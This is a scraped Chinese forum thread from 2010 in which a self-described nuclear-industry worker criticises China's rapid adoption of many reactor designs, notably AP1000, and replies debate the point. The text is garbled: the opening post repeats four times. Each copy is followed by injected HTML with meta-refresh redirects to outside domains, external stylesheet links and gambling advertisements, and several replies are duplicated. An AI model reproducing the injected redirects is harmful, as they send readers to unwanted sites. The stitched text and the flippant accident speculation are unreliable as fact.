超级军网昨天没写完就误发了，再补充编辑一下：说说中国这几年的 ...
来源：百度文库 编辑：超级军网 时间：2024/04/28 12:07:18
<br /><br />先声明一点，我学理的，文笔不太好，所以可能条理上不太清晰，各位勿怪，再就是我说话比较极端，可能有些事的程度表达上有些过，各位自己理解。
先说说这几年核电发展的总体情况，当然最主要的还是问题了。其实作为一个核电人，我自己还是有一点担心的，那就是中国现阶段的核电发展有点太盲目了，有点大跃进的感觉，别的不说，就从核电机组类型上来说，型号就有近十种，技术来源也不同，有法国技术，有美国技术，有俄罗斯技术，有国产技术，还有引进国产化的，还有仿制改进的。先说这两年比较火的AP1000技术吧，如果单纯看AP1000的技术设计呢，是非常先进的，尤其是它一些设备的设计理念，与传统核电技术相比还是有很大的技术优势的。具体我也说不明白，因为我们电站用的不是AP1000技术。因此，从这一点上来讲，我国引进AP1000技术是可以理解的。但最关键的一点就是，核电最重要的是什么？可靠！核电本来就不追求什么技术先进与否，最重要的一点就是技术的可靠性一定要高，一方面是核安全的原因，另一方面就是成本控制的原因。其实任何一个堆型应用后的前几年，可以说基本上都是开开停停，不断的解决各种故障，因为核电系统太多了，又是近年来才发展起来的技术，虽然老堆型可能技术成熟度上比较高，但具体倒一个电厂，可能就会有不同的问题出现。比如江苏核电引进的俄罗斯技术，单从技术角度来讲，老毛子的这个堆型还是相当先进的，但问题是与刚引进苏27一样，还是水土不服的原因，举个例子，江苏核电（田湾）机组的蒸汽发生器爆管率相当高，主要原因就是毛子设计的机组都是用在内陆的，而田湾核电建在海边，空气中的氯离子就比较多，学材料的都知道，氯离子是造成应力腐蚀的重要原因，再加上当时苏联刚解体，这些设备都是原来自己本国用的设备，解体后贮存保护不严格（蒸汽发生器的贮运要求非常严格），也有一定影响，后来转卖到TG手中后，基本就悲剧了。还有一个有意思的事，田湾曾经有一段时间每个周都会因为紫菜堵塞海水进口而降功率运行，甚至停堆，我们都开玩笑说田湾不要发电了，改卖紫菜吧！
还说AP1000,TG这两年新上的堆型基本上都是AP1000,在这一点上来说，我一般用一个词来形容：扯蛋！在一项技术未经验证之前，盲目上这么多堆，咱先不说这个技术倒底能不能成功，就算成功了，前几年全是在处理故障中摸索前进，你想全国十几个核电站都是开开停停的摸索啊！这还不算坏的结果，万一这项设计有重大缺陷呢？全部重建还是带着缺陷运行啊？重建要花费多少？带缺陷运行谁敢？引进AP1000技术可以，但应该先少建几个堆，验证其技术设计是否可行，同时积累运行经验，培养人才！一下上这么多的堆，我粗略的数一下，目前确定用AP1000的堆至少有近二十个！出了问题怎么办！就目前我所了解的，AP1000的主泵，设计上宣称可以整个反应堆寿期内可以不用修理，从理论上讲也确实先进，可去年年底进行的试运行实验，提前爆掉，根本达不到实用要求，这个问题到目前还没有解决，三门核电整体进度极有可能因为主泵问题而严重滞后，三门其实着手准备挺早的，如果技术成熟，可能这几年就能投入运行，但现在由于AP1000技术
昨天写到“这么看，可能很多人认为咱们的核电危险了！”没想到按错了键给发出去了，本来还想强调一下核电的安全性，这下意思全歪了！
再强调一下核电的安全性！虽然中国核电目前存在这么多问题，但总体上来说，核电本身还是非常安全的，因为核电在设计上还是有很多安全措施的。至于再发生类似于切尔诺贝利的事件基本上是不可能了。怎么说吧，我们当时学核安全这门课的时候，分析切尔诺贝利事件和三哩岛事件，感觉都特别有意思。说实话我一直感觉切~事件中的值长想自杀兼报复社会才弄出的这些事。因为看整个过程中，值长发布的命令让人感觉真是像在自杀，本来当时反应堆已经在低于允许功率条件下运行，然后又强制进行实验，实验中又把反应堆停堆保护装置一系列安全设置全部关闭，这一直想当时值长在想什么啊？真的是活够了，另外在加上切~堆设计中的缺陷，最终导致了悲剧！~至于美国三哩岛事故，可以用一句话来形容：”恭喜你，成功避开了所有正确答案”。看三哩岛事故，有些事特别可笑。最初的原因就是值夜班的主控室操纵员实在无聊，在大半夜三点多进行树脂反冲洗，结果出现失误，导致仪表系统失效，再往后基本上就是操纵员人品太差了，所有的判断与操作完全错误，即使对一项都有可能使事故进程中断，后来唯一的一项正确操作还是另一个机组主控室的操纵员同样的半夜无聊，听说有事故跑去“围观”，半路发现一个不应该关闭的阀门（这个阀门应该在检修后打开，结果因为失误一直关闭）被关上了，顺便打开才使堆芯重新浸水，但此时堆芯已经发生了熔化。不过三哩岛除了排气系统设计没加核滤除装置导致排出一些放射性物质外，基本没有太大影响。
具体我也没法细说，反正现阶段核电肯定不太可能出现太严重的事故，当然故障是肯定会不断出现的，和任何设备一样嘛！这点作为大众是可以放心的！
下面一位大大说了一些，嗯，还是很专业的！确实，田湾现在经过几年的运行之后，基本步入正轨了。但AP１０００确实不只三门，现在确定的就还有桃花江和海阳，辽宁徐大堡也极有可能。另外现在福清五六号机组也在考虑换机型，有三种选择：继续延续M310+、换AP１０００、换１２５/１４０万千瓦机组（具体型号忘了）。另外三明还要建快中子堆，反正感觉堆型实在太乱了！·<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />先声明一点，我学理的，文笔不太好，所以可能条理上不太清晰，各位勿怪，再就是我说话比较极端，可能有些事的程度表达上有些过，各位自己理解。
先说说这几年核电发展的总体情况，当然最主要的还是问题了。其实作为一个核电人，我自己还是有一点担心的，那就是中国现阶段的核电发展有点太盲目了，有点大跃进的感觉，别的不说，就从核电机组类型上来说，型号就有近十种，技术来源也不同，有法国技术，有美国技术，有俄罗斯技术，有国产技术，还有引进国产化的，还有仿制改进的。先说这两年比较火的AP1000技术吧，如果单纯看AP1000的技术设计呢，是非常先进的，尤其是它一些设备的设计理念，与传统核电技术相比还是有很大的技术优势的。具体我也说不明白，因为我们电站用的不是AP1000技术。因此，从这一点上来讲，我国引进AP1000技术是可以理解的。但最关键的一点就是，核电最重要的是什么？可靠！核电本来就不追求什么技术先进与否，最重要的一点就是技术的可靠性一定要高，一方面是核安全的原因，另一方面就是成本控制的原因。其实任何一个堆型应用后的前几年，可以说基本上都是开开停停，不断的解决各种故障，因为核电系统太多了，又是近年来才发展起来的技术，虽然老堆型可能技术成熟度上比较高，但具体倒一个电厂，可能就会有不同的问题出现。比如江苏核电引进的俄罗斯技术，单从技术角度来讲，老毛子的这个堆型还是相当先进的，但问题是与刚引进苏27一样，还是水土不服的原因，举个例子，江苏核电（田湾）机组的蒸汽发生器爆管率相当高，主要原因就是毛子设计的机组都是用在内陆的，而田湾核电建在海边，空气中的氯离子就比较多，学材料的都知道，氯离子是造成应力腐蚀的重要原因，再加上当时苏联刚解体，这些设备都是原来自己本国用的设备，解体后贮存保护不严格（蒸汽发生器的贮运要求非常严格），也有一定影响，后来转卖到TG手中后，基本就悲剧了。还有一个有意思的事，田湾曾经有一段时间每个周都会因为紫菜堵塞海水进口而降功率运行，甚至停堆，我们都开玩笑说田湾不要发电了，改卖紫菜吧！
还说AP1000,TG这两年新上的堆型基本上都是AP1000,在这一点上来说，我一般用一个词来形容：扯蛋！在一项技术未经验证之前，盲目上这么多堆，咱先不说这个技术倒底能不能成功，就算成功了，前几年全是在处理故障中摸索前进，你想全国十几个核电站都是开开停停的摸索啊！这还不算坏的结果，万一这项设计有重大缺陷呢？全部重建还是带着缺陷运行啊？重建要花费多少？带缺陷运行谁敢？引进AP1000技术可以，但应该先少建几个堆，验证其技术设计是否可行，同时积累运行经验，培养人才！一下上这么多的堆，我粗略的数一下，目前确定用AP1000的堆至少有近二十个！出了问题怎么办！就目前我所了解的，AP1000的主泵，设计上宣称可以整个反应堆寿期内可以不用修理，从理论上讲也确实先进，可去年年底进行的试运行实验，提前爆掉，根本达不到实用要求，这个问题到目前还没有解决，三门核电整体进度极有可能因为主泵问题而严重滞后，三门其实着手准备挺早的，如果技术成熟，可能这几年就能投入运行，但现在由于AP1000技术
昨天写到“这么看，可能很多人认为咱们的核电危险了！”没想到按错了键给发出去了，本来还想强调一下核电的安全性，这下意思全歪了！
再强调一下核电的安全性！虽然中国核电目前存在这么多问题，但总体上来说，核电本身还是非常安全的，因为核电在设计上还是有很多安全措施的。至于再发生类似于切尔诺贝利的事件基本上是不可能了。怎么说吧，我们当时学核安全这门课的时候，分析切尔诺贝利事件和三哩岛事件，感觉都特别有意思。说实话我一直感觉切~事件中的值长想自杀兼报复社会才弄出的这些事。因为看整个过程中，值长发布的命令让人感觉真是像在自杀，本来当时反应堆已经在低于允许功率条件下运行，然后又强制进行实验，实验中又把反应堆停堆保护装置一系列安全设置全部关闭，这一直想当时值长在想什么啊？真的是活够了，另外在加上切~堆设计中的缺陷，最终导致了悲剧！~至于美国三哩岛事故，可以用一句话来形容：”恭喜你，成功避开了所有正确答案”。看三哩岛事故，有些事特别可笑。最初的原因就是值夜班的主控室操纵员实在无聊，在大半夜三点多进行树脂反冲洗，结果出现失误，导致仪表系统失效，再往后基本上就是操纵员人品太差了，所有的判断与操作完全错误，即使对一项都有可能使事故进程中断，后来唯一的一项正确操作还是另一个机组主控室的操纵员同样的半夜无聊，听说有事故跑去“围观”，半路发现一个不应该关闭的阀门（这个阀门应该在检修后打开，结果因为失误一直关闭）被关上了，顺便打开才使堆芯重新浸水，但此时堆芯已经发生了熔化。不过三哩岛除了排气系统设计没加核滤除装置导致排出一些放射性物质外，基本没有太大影响。
具体我也没法细说，反正现阶段核电肯定不太可能出现太严重的事故，当然故障是肯定会不断出现的，和任何设备一样嘛！这点作为大众是可以放心的！
下面一位大大说了一些，嗯，还是很专业的！确实，田湾现在经过几年的运行之后，基本步入正轨了。但AP１０００确实不只三门，现在确定的就还有桃花江和海阳，辽宁徐大堡也极有可能。另外现在福清五六号机组也在考虑换机型，有三种选择：继续延续M310+、换AP１０００、换１２５/１４０万千瓦机组（具体型号忘了）。另外三明还要建快中子堆，反正感觉堆型实在太乱了！·<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
先说说这几年核电发展的总体情况，当然最主要的还是问题了。其实作为一个核电人，我自己还是有一点担心的，那就是中国现阶段的核电发展有点太盲目了，有点大跃进的感觉，别的不说，就从核电机组类型上来说，型号就有近十种，技术来源也不同，有法国技术，有美国技术，有俄罗斯技术，有国产技术，还有引进国产化的，还有仿制改进的。先说这两年比较火的AP1000技术吧，如果单纯看AP1000的技术设计呢，是非常先进的，尤其是它一些设备的设计理念，与传统核电技术相比还是有很大的技术优势的。具体我也说不明白，因为我们电站用的不是AP1000技术。因此，从这一点上来讲，我国引进AP1000技术是可以理解的。但最关键的一点就是，核电最重要的是什么？可靠！核电本来就不追求什么技术先进与否，最重要的一点就是技术的可靠性一定要高，一方面是核安全的原因，另一方面就是成本控制的原因。其实任何一个堆型应用后的前几年，可以说基本上都是开开停停，不断的解决各种故障，因为核电系统太多了，又是近年来才发展起来的技术，虽然老堆型可能技术成熟度上比较高，但具体倒一个电厂，可能就会有不同的问题出现。比如江苏核电引进的俄罗斯技术，单从技术角度来讲，老毛子的这个堆型还是相当先进的，但问题是与刚引进苏27一样，还是水土不服的原因，举个例子，江苏核电（田湾）机组的蒸汽发生器爆管率相当高，主要原因就是毛子设计的机组都是用在内陆的，而田湾核电建在海边，空气中的氯离子就比较多，学材料的都知道，氯离子是造成应力腐蚀的重要原因，再加上当时苏联刚解体，这些设备都是原来自己本国用的设备，解体后贮存保护不严格（蒸汽发生器的贮运要求非常严格），也有一定影响，后来转卖到TG手中后，基本就悲剧了。还有一个有意思的事，田湾曾经有一段时间每个周都会因为紫菜堵塞海水进口而降功率运行，甚至停堆，我们都开玩笑说田湾不要发电了，改卖紫菜吧！
还说AP1000,TG这两年新上的堆型基本上都是AP1000,在这一点上来说，我一般用一个词来形容：扯蛋！在一项技术未经验证之前，盲目上这么多堆，咱先不说这个技术倒底能不能成功，就算成功了，前几年全是在处理故障中摸索前进，你想全国十几个核电站都是开开停停的摸索啊！这还不算坏的结果，万一这项设计有重大缺陷呢？全部重建还是带着缺陷运行啊？重建要花费多少？带缺陷运行谁敢？引进AP1000技术可以，但应该先少建几个堆，验证其技术设计是否可行，同时积累运行经验，培养人才！一下上这么多的堆，我粗略的数一下，目前确定用AP1000的堆至少有近二十个！出了问题怎么办！就目前我所了解的，AP1000的主泵，设计上宣称可以整个反应堆寿期内可以不用修理，从理论上讲也确实先进，可去年年底进行的试运行实验，提前爆掉，根本达不到实用要求，这个问题到目前还没有解决，三门核电整体进度极有可能因为主泵问题而严重滞后，三门其实着手准备挺早的，如果技术成熟，可能这几年就能投入运行，但现在由于AP1000技术
昨天写到“这么看，可能很多人认为咱们的核电危险了！”没想到按错了键给发出去了，本来还想强调一下核电的安全性，这下意思全歪了！
再强调一下核电的安全性！虽然中国核电目前存在这么多问题，但总体上来说，核电本身还是非常安全的，因为核电在设计上还是有很多安全措施的。至于再发生类似于切尔诺贝利的事件基本上是不可能了。怎么说吧，我们当时学核安全这门课的时候，分析切尔诺贝利事件和三哩岛事件，感觉都特别有意思。说实话我一直感觉切~事件中的值长想自杀兼报复社会才弄出的这些事。因为看整个过程中，值长发布的命令让人感觉真是像在自杀，本来当时反应堆已经在低于允许功率条件下运行，然后又强制进行实验，实验中又把反应堆停堆保护装置一系列安全设置全部关闭，这一直想当时值长在想什么啊？真的是活够了，另外在加上切~堆设计中的缺陷，最终导致了悲剧！~至于美国三哩岛事故，可以用一句话来形容：”恭喜你，成功避开了所有正确答案”。看三哩岛事故，有些事特别可笑。最初的原因就是值夜班的主控室操纵员实在无聊，在大半夜三点多进行树脂反冲洗，结果出现失误，导致仪表系统失效，再往后基本上就是操纵员人品太差了，所有的判断与操作完全错误，即使对一项都有可能使事故进程中断，后来唯一的一项正确操作还是另一个机组主控室的操纵员同样的半夜无聊，听说有事故跑去“围观”，半路发现一个不应该关闭的阀门（这个阀门应该在检修后打开，结果因为失误一直关闭）被关上了，顺便打开才使堆芯重新浸水，但此时堆芯已经发生了熔化。不过三哩岛除了排气系统设计没加核滤除装置导致排出一些放射性物质外，基本没有太大影响。
具体我也没法细说，反正现阶段核电肯定不太可能出现太严重的事故，当然故障是肯定会不断出现的，和任何设备一样嘛！这点作为大众是可以放心的！
下面一位大大说了一些，嗯，还是很专业的！确实，田湾现在经过几年的运行之后，基本步入正轨了。但AP１０００确实不只三门，现在确定的就还有桃花江和海阳，辽宁徐大堡也极有可能。另外现在福清五六号机组也在考虑换机型，有三种选择：继续延续M310+、换AP１０００、换１２５/１４０万千瓦机组（具体型号忘了）。另外三明还要建快中子堆，反正感觉堆型实在太乱了！·<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />先声明一点，我学理的，文笔不太好，所以可能条理上不太清晰，各位勿怪，再就是我说话比较极端，可能有些事的程度表达上有些过，各位自己理解。
先说说这几年核电发展的总体情况，当然最主要的还是问题了。其实作为一个核电人，我自己还是有一点担心的，那就是中国现阶段的核电发展有点太盲目了，有点大跃进的感觉，别的不说，就从核电机组类型上来说，型号就有近十种，技术来源也不同，有法国技术，有美国技术，有俄罗斯技术，有国产技术，还有引进国产化的，还有仿制改进的。先说这两年比较火的AP1000技术吧，如果单纯看AP1000的技术设计呢，是非常先进的，尤其是它一些设备的设计理念，与传统核电技术相比还是有很大的技术优势的。具体我也说不明白，因为我们电站用的不是AP1000技术。因此，从这一点上来讲，我国引进AP1000技术是可以理解的。但最关键的一点就是，核电最重要的是什么？可靠！核电本来就不追求什么技术先进与否，最重要的一点就是技术的可靠性一定要高，一方面是核安全的原因，另一方面就是成本控制的原因。其实任何一个堆型应用后的前几年，可以说基本上都是开开停停，不断的解决各种故障，因为核电系统太多了，又是近年来才发展起来的技术，虽然老堆型可能技术成熟度上比较高，但具体倒一个电厂，可能就会有不同的问题出现。比如江苏核电引进的俄罗斯技术，单从技术角度来讲，老毛子的这个堆型还是相当先进的，但问题是与刚引进苏27一样，还是水土不服的原因，举个例子，江苏核电（田湾）机组的蒸汽发生器爆管率相当高，主要原因就是毛子设计的机组都是用在内陆的，而田湾核电建在海边，空气中的氯离子就比较多，学材料的都知道，氯离子是造成应力腐蚀的重要原因，再加上当时苏联刚解体，这些设备都是原来自己本国用的设备，解体后贮存保护不严格（蒸汽发生器的贮运要求非常严格），也有一定影响，后来转卖到TG手中后，基本就悲剧了。还有一个有意思的事，田湾曾经有一段时间每个周都会因为紫菜堵塞海水进口而降功率运行，甚至停堆，我们都开玩笑说田湾不要发电了，改卖紫菜吧！
还说AP1000,TG这两年新上的堆型基本上都是AP1000,在这一点上来说，我一般用一个词来形容：扯蛋！在一项技术未经验证之前，盲目上这么多堆，咱先不说这个技术倒底能不能成功，就算成功了，前几年全是在处理故障中摸索前进，你想全国十几个核电站都是开开停停的摸索啊！这还不算坏的结果，万一这项设计有重大缺陷呢？全部重建还是带着缺陷运行啊？重建要花费多少？带缺陷运行谁敢？引进AP1000技术可以，但应该先少建几个堆，验证其技术设计是否可行，同时积累运行经验，培养人才！一下上这么多的堆，我粗略的数一下，目前确定用AP1000的堆至少有近二十个！出了问题怎么办！就目前我所了解的，AP1000的主泵，设计上宣称可以整个反应堆寿期内可以不用修理，从理论上讲也确实先进，可去年年底进行的试运行实验，提前爆掉，根本达不到实用要求，这个问题到目前还没有解决，三门核电整体进度极有可能因为主泵问题而严重滞后，三门其实着手准备挺早的，如果技术成熟，可能这几年就能投入运行，但现在由于AP1000技术
昨天写到“这么看，可能很多人认为咱们的核电危险了！”没想到按错了键给发出去了，本来还想强调一下核电的安全性，这下意思全歪了！
再强调一下核电的安全性！虽然中国核电目前存在这么多问题，但总体上来说，核电本身还是非常安全的，因为核电在设计上还是有很多安全措施的。至于再发生类似于切尔诺贝利的事件基本上是不可能了。怎么说吧，我们当时学核安全这门课的时候，分析切尔诺贝利事件和三哩岛事件，感觉都特别有意思。说实话我一直感觉切~事件中的值长想自杀兼报复社会才弄出的这些事。因为看整个过程中，值长发布的命令让人感觉真是像在自杀，本来当时反应堆已经在低于允许功率条件下运行，然后又强制进行实验，实验中又把反应堆停堆保护装置一系列安全设置全部关闭，这一直想当时值长在想什么啊？真的是活够了，另外在加上切~堆设计中的缺陷，最终导致了悲剧！~至于美国三哩岛事故，可以用一句话来形容：”恭喜你，成功避开了所有正确答案”。看三哩岛事故，有些事特别可笑。最初的原因就是值夜班的主控室操纵员实在无聊，在大半夜三点多进行树脂反冲洗，结果出现失误，导致仪表系统失效，再往后基本上就是操纵员人品太差了，所有的判断与操作完全错误，即使对一项都有可能使事故进程中断，后来唯一的一项正确操作还是另一个机组主控室的操纵员同样的半夜无聊，听说有事故跑去“围观”，半路发现一个不应该关闭的阀门（这个阀门应该在检修后打开，结果因为失误一直关闭）被关上了，顺便打开才使堆芯重新浸水，但此时堆芯已经发生了熔化。不过三哩岛除了排气系统设计没加核滤除装置导致排出一些放射性物质外，基本没有太大影响。
具体我也没法细说，反正现阶段核电肯定不太可能出现太严重的事故，当然故障是肯定会不断出现的，和任何设备一样嘛！这点作为大众是可以放心的！
下面一位大大说了一些，嗯，还是很专业的！确实，田湾现在经过几年的运行之后，基本步入正轨了。但AP１０００确实不只三门，现在确定的就还有桃花江和海阳，辽宁徐大堡也极有可能。另外现在福清五六号机组也在考虑换机型，有三种选择：继续延续M310+、换AP１０００、换１２５/１４０万千瓦机组（具体型号忘了）。另外三明还要建快中子堆，反正感觉堆型实在太乱了！·<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
楼主说的很有道理。
TG做事目前还是喜欢一窝蜂。很奇怪的， 在有些事上嘛又很保守比如运载火箭发动机上，一些事上嘛大跃进。
。。。
TG做事目前还是喜欢一窝蜂。很奇怪的， 在有些事上嘛又很保守比如运载火箭发动机上，一些事上嘛大跃进。
。。。
路过 路过
我不懂啊
我不懂啊
再说一下国产化的问题。近年来许多报道，包括前几天海版发的贴中有人给出的那个链接，说是什么国产核级设备取得重大进展。不错，国内这几年确实在一些核级设备上取得了很大进步，但怎么说吧，也仅仅是解决了有无的问题，至于能用不能用，敢不敢用，就得看情况了。就我们公司了解的情况而言，国产设备还是不敢用的（可能说的有点重），关键还是工艺和材料上，许多指标根本不达标，但是我们公司在实际施工中，有些不重要的部件如果问题不是太大，还是委屈求全接收了，这也是没办法的事，有时候上层一味追求国产化率多少，下面公司也没办法。
特色， 没办法.............
长文，楼主码字辛苦
业余分析员 发表于 2010-5-21 23:18 
资本的冲动，利益的诱惑
资本的冲动，利益的诱惑
看了楼主的文章,感觉中国的核电还是在学习阶段啊.
那风电更是大跃进啊。
很少能看到关于国内核电真实情况的讨论。不知道楼主的高论是否政府允许。
因为用电紧张，又要搞低碳，逼的没办法，只好大跃进咯。
只能说，看问题的角度不同，结果也不同,不知道楼主是具体做什么的。
1：田湾出了n多毛病，依然每年每台机组可以卖25亿元的电，依然每年每台机组能交5亿的税。
2：AP-1000的主泵从来就没有进行过中试，出问题去年进行部件试验是主轴瓦过热的问题，这也算事故的话，未免对产品的设计试验过程太不了解了。
3：截至到今年年初，中国两大核电集团在建和已批展开的核岛，一共30个：中广核集团20个核岛，除去台山核电站为两个EPR之外，全部是CPR-1000；中核10个，除了三门是两个AP1000，昌江核电站是两个CNP650之外，都是M310+。也就是说中核、中广核各有两个三代堆型在建，剩下的全是“成熟堆型”。可见还是很保守的。
4：先进技术不实践永远不会成熟。
4：工业设计而言，尤其是核电这种东西，跨时代设计带来的安全性比吃老本靠经验带来的安全性强大多了，AP1000就是主泵卡住了，管道因为焊接质量断裂了，这种极端事故，都比M310哪怕是2回路漏气带来的危害小。
1：田湾出了n多毛病，依然每年每台机组可以卖25亿元的电，依然每年每台机组能交5亿的税。
2：AP-1000的主泵从来就没有进行过中试，出问题去年进行部件试验是主轴瓦过热的问题，这也算事故的话，未免对产品的设计试验过程太不了解了。
3：截至到今年年初，中国两大核电集团在建和已批展开的核岛，一共30个：中广核集团20个核岛，除去台山核电站为两个EPR之外，全部是CPR-1000；中核10个，除了三门是两个AP1000，昌江核电站是两个CNP650之外，都是M310+。也就是说中核、中广核各有两个三代堆型在建，剩下的全是“成熟堆型”。可见还是很保守的。
4：先进技术不实践永远不会成熟。
4：工业设计而言，尤其是核电这种东西，跨时代设计带来的安全性比吃老本靠经验带来的安全性强大多了，AP1000就是主泵卡住了，管道因为焊接质量断裂了，这种极端事故，都比M310哪怕是2回路漏气带来的危害小。
楼主，每个段落应该空一行，每个段开头要空两格，尤其是像你这么长的文章。
中国核电建设的路线图是这样的：
中核集团：近期完成三门AP1000的建设，使其成熟，并且展开内陆版AP1000的准备工作，正在建设的主力是M310++，短期替换成CNP1000。
广核集团：近期完成台山EPR建设，使其成熟，展开EPR吸收，也就是CEPR的工作，当前建设的主力是CPR-1000。
在建和预期在建的，二代改占了绝大多数。
中核集团：近期完成三门AP1000的建设，使其成熟，并且展开内陆版AP1000的准备工作，正在建设的主力是M310++，短期替换成CNP1000。
广核集团：近期完成台山EPR建设，使其成熟，展开EPR吸收，也就是CEPR的工作，当前建设的主力是CPR-1000。
在建和预期在建的，二代改占了绝大多数。
电网 发表于 2010-5-22 00:52
我baidu半天，不如看你一个帖子。
我baidu半天，不如看你一个帖子。
回复 11# 电网
这个说的在行
这个说的在行
你们不睡，我也不睡。到底是怎么回事？
关于国产材料的质量问题，其实不是不可为，而是不为
改革开放以来，低成本搞惯了
改革开放以来，低成本搞惯了
zhanying911 发表于 2010-5-21 22:14
这个跟高铁建设有点类似，各国技术全锅端。
这种决策应该是由中国的目标决定的，中国核电建设的目标，不只是为了建成几座核电站，更进一步的是想要获取核电技术。不管是核电技术还是高铁技术，都是在这些技术、产品基本还没有什么市场的情况下引进的，如果等这些技术、产品有了广阔市场的时候才引进，那恐怕代价将会极高，甚至根本没法引进了。
这个跟高铁建设有点类似，各国技术全锅端。
这种决策应该是由中国的目标决定的，中国核电建设的目标，不只是为了建成几座核电站，更进一步的是想要获取核电技术。不管是核电技术还是高铁技术，都是在这些技术、产品基本还没有什么市场的情况下引进的，如果等这些技术、产品有了广阔市场的时候才引进，那恐怕代价将会极高，甚至根本没法引进了。
levins 发表于 2010-5-22 01:25
中国核电站的单位造价低到到了国外不敢想的地步..........
中国核电站的单位造价低到到了国外不敢想的地步..........
回电网
1：田湾出了n多毛病，依然每年每台机组可以卖25亿元的电，依然每年每台机组能交5亿的税。
====具体情况不太清楚，不过按照4毛钱一度的话，这百分之七十的可用率还有待提高啊。
2：AP-1000的主泵从来就没有进行过中试，出问题去年进行部件试验是主轴瓦过热的问题，这也算事故的话，未免对产品的设计试验过程太不了解了。
====前几天的不是中试吗？炳华同志也出席辣
3：截至到今年年初，中国两大核电集团在建和已批展开的核岛，一共30个：中广核集团20个核岛，除去台山核电站为两个EPR之外，全部是CPR-1000；中核10个，除了三门是两个AP1000，昌江核电站是两个CNP650之外，都是M310+。也就是说中核、中广核各有两个三代堆型在建，剩下的全是“成熟堆型”。可见还是很保守的。
====补充一下，AP1000还有海阳2个，秦山二期扩建2个CNP650
4：先进技术不实践永远不会成熟。
====赞同，不过问题是咱们能吸收多少，还是只停留在仿造的阶段
4：工业设计而言，尤其是核电这种东西，跨时代设计带来的安全性比吃老本靠经验带来的安全性强大多了，AP1000就是主泵卡住了，管道因为焊接质量断裂了，这种极端事故，都比M310哪怕是2回路漏气带来的危害小。
====您这话说的太绝对了，就是AP1000的设计也是很强调使用经过验证的设备和设计的。
另，安全性方面，也没必要神话AP1000。对于M310来说，主泵停转也不是啥大不了的事故，主泵本身就不是一个安全设备，现有的确定论事故分析都不会考虑主泵对事故的减缓作用的。还有，我也看不出来AP1000一回路一个中等破口LOCA事故比M310小破口SLB能安全到哪去。这东西要具体分析的，AP1000的概率安全分析结果也不过比新设计的M310搞一个数量级而已，具体到某个始发事件上，究竟哪个更危险可不是这么简单一说就ok了。
1：田湾出了n多毛病，依然每年每台机组可以卖25亿元的电，依然每年每台机组能交5亿的税。
====具体情况不太清楚，不过按照4毛钱一度的话，这百分之七十的可用率还有待提高啊。
2：AP-1000的主泵从来就没有进行过中试，出问题去年进行部件试验是主轴瓦过热的问题，这也算事故的话，未免对产品的设计试验过程太不了解了。
====前几天的不是中试吗？炳华同志也出席辣
3：截至到今年年初，中国两大核电集团在建和已批展开的核岛，一共30个：中广核集团20个核岛，除去台山核电站为两个EPR之外，全部是CPR-1000；中核10个，除了三门是两个AP1000，昌江核电站是两个CNP650之外，都是M310+。也就是说中核、中广核各有两个三代堆型在建，剩下的全是“成熟堆型”。可见还是很保守的。
====补充一下，AP1000还有海阳2个，秦山二期扩建2个CNP650
4：先进技术不实践永远不会成熟。
====赞同，不过问题是咱们能吸收多少，还是只停留在仿造的阶段
4：工业设计而言，尤其是核电这种东西，跨时代设计带来的安全性比吃老本靠经验带来的安全性强大多了，AP1000就是主泵卡住了，管道因为焊接质量断裂了，这种极端事故，都比M310哪怕是2回路漏气带来的危害小。
====您这话说的太绝对了，就是AP1000的设计也是很强调使用经过验证的设备和设计的。
另，安全性方面，也没必要神话AP1000。对于M310来说，主泵停转也不是啥大不了的事故，主泵本身就不是一个安全设备，现有的确定论事故分析都不会考虑主泵对事故的减缓作用的。还有，我也看不出来AP1000一回路一个中等破口LOCA事故比M310小破口SLB能安全到哪去。这东西要具体分析的，AP1000的概率安全分析结果也不过比新设计的M310搞一个数量级而已，具体到某个始发事件上，究竟哪个更危险可不是这么简单一说就ok了。
电网 发表于 2010-5-22 00:52
我日,您是体制内人物吧?
我日,您是体制内人物吧?
顶一下，核电技术自主化，一方面以后可以用它来出口，一方面带动国内相关技术发展、创造劳动岗位，
我乃汝儿 发表于 2010-5-22 13:00
电网大大你都不识？:L
电网大大你都不识？:L
电网 发表于 2010-5-22 00:52
这个才是正解，看问题不能不全面啊
这个才是正解，看问题不能不全面啊
我一贯主张国内大项目的建设应该搞全球招标，追求国产化率除了好看就是添乱。
cedric 发表于 2010-5-22 18:54
某种意义上，正是有些人孜孜不倦的在国产化上的追求，才造就了中国工业。。
某种意义上，正是有些人孜孜不倦的在国产化上的追求，才造就了中国工业。。
好帖子，但是很多人没有注意到一个问题，那就是给中国的时间有多少，固然自主开发，稳妥的试验都是非常的重要，我也很赞同，但是考虑到中国GDP十年一番的速度，电力也是跟随GDP要翻身的，在这么大的一个压力下，做出一窝蜂的决定是可以理解的。日本电视台说了，，，当年俺们从高速铁路200公理开到300公理，用了20年时间，中国人一仿制，5年搞定了，现在还居然抢美国的生意。。。
红色俱乐部 发表于 2010-5-22 19:06
生产制造的发展和拍脑袋决策是两码事。
